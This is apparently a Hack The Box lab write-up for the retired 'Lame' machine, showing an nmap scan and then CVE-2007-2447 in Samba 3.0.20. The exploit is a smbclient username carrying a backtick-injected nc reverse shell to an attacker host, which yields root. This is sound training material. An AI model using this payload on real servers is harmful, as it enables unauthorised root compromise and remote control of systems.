HTB retired: Lame — Samba usermap to root

htb-retired · Lame

Lame is one of the oldest boxes on the platform and the shortest honest path on this site: enumerate, one exploit, root. The value is entirely in the habit, so every step below shows the command and what to notice in the output.

Enumerate

nmap -sC -sV -p- 10.10.10.3

Read the versions, not just the ports. Four services answer, and two of them are deliberate traps:

Foothold: the version is the exploit

Samba 3.0.20 is vulnerable to CVE-2007-2447, the “username map script” flaw. The username field is passed to a shell, so shell metacharacters inside it run as the Samba process — which is root. No memory corruption, no separate escalation; the foothold is root.

Start a listener:

nc -lvnp 4444

Then connect with a username that is really a command:

smbclient //10.10.10.3/tmp -N \
  -U "./=`nohup nc <LHOST> 4444 -e /bin/bash`"

The client hangs — expected — and the listener catches a shell:

id
# uid=0(root) gid=0(root)

The Metasploit equivalent is exploit/multi/samba/usermap_script, but doing it by hand is the point: you can see the exploit is nothing more than the username field carrying a payload.

The lesson, generalised

  1. Scan every port; read the versions.
  2. Ignore the obvious bait (vsftpd) and match each version to a known issue.
  3. Recognise that a service running as root turns a foothold into full compromise in a single step.

That recognition is what enumeration buys you. The port-by-port checklist behind steps 1 and 2 is the service enumeration reference.